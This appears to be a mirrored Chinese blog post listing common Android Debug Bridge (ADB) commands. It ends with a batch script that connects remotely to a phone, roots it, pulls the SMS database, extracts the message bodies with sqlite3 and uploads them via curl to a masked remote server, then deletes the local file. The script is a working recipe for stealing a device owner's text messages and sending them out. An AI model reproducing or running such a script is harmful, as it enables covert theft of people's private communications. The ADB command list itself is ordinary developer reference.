zoukankan      html  css  js  c++  java
  • ADB(Android Debug Bridge)小结


    //关闭ADB

    adb kill-server

    // 启动ADB
    adb start-server

    // 查看已连接 adb 的设备列表
    adb devices

    // 远程调试
    adb connect 192.168.43.1

    // 获取权限
    adb root

    // 获取设备的状态
    adb get-state

    // 打印 Android 的系统日志
    adb logcat

    // 手机屏幕保存到SDCard
    adb shell /system/bin/screencap -p /sdcard/screenshot.png

    // 屏幕图片保存到电脑
    adb pull /sdcard/screenshot.png .

    // 强制安装
    adb install -r adbWireless_12.apk

    // 卸载 APK
    adb uninstall *.apk

    // 重启手机
    adb reboot

    // 进入shell环境
    adb shell

    // 修改文件权限,要先进入 shell 环境
    chmod 0755 [手机端文件路径]

    // 重启手机进入 Recovery
    adb reboot recovery

    // 重启手机进入 Bootloader
    adb reboot bootloader

    // 将手机上的运行日志导出为 txt 文件
    adb logcat > log.txt

    // 将设备改为可读可写
    adb remount

    // 新增的录制命令执行命令后操作手机,ctrl + c 结束录制,录制结果保存至 sdcard
    adb shell screenrecord sdcard/record.mp4

    // 模拟输入文本信息(前提先将键盘设置为英文键盘)
    adb input text HelloWorld

    // 模拟物理按键操作
    adb input keyevent KEYCODE_VOLUME_DOWN

    // 模拟点击操作
    adb input tap 500 500

    // 模拟滑动操作
    adb input swipe 200 500 400 500

    // 模拟长按操作(x1 y1 x2 y2 毫米)
    adb input swipe 200 200 200 200 1000

    // 启动默认浏览器打开一个网页
    adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }

    // 启动拨号器拨打 10086
    adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }

    获取手机短信的bat脚本

    @echo off
    title SMS
    
    ECHO 关闭ADB
    adb kill-server
    
    ECHO 启动ADB
    adb start-server
    
    ECHO 连接远程设备
    adb connect 192.168.43.1
    
    ECHO 获取权限
    adb root
    
    ECHO 将设备改为可读可写
    adb remount
    
    ECHO 导出mmssms.db
    adb pull /data/data/com.android.providers.telephony/databases/mmssms.db .
    
    ECHO 关闭ADB
    adb kill-server
    
    ECHO 导出短信
    sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txt
    
    ECHO 删除本地mmssms.db
    ECHO del mmssms.db
    
    ECHO 上传至服务器
    curl -F "upfile=@sms.txt" http://***/sms
    
    ECHO 删除短信
    del sms.txt
    
    PAUSE
    TryEverything
  • 相关阅读:
    curl.class.php方便使用
    php发送邮件
    php部分被弃用方法的代替方法
    正则表达式匹配
    php xml常用函数的集合及四种方法
    PHP5中使用PDO连接数据库的方法
    http协议的状态码
    MySQL数据库中的Date,DateTime和TimeStamp类型
    php中json_decode()和json_encode()的使用方法
    UIIabel自适配高度
  • 原文地址:https://www.cnblogs.com/LiTry/p/8367486.html
Copyright © 2011-2022 走看看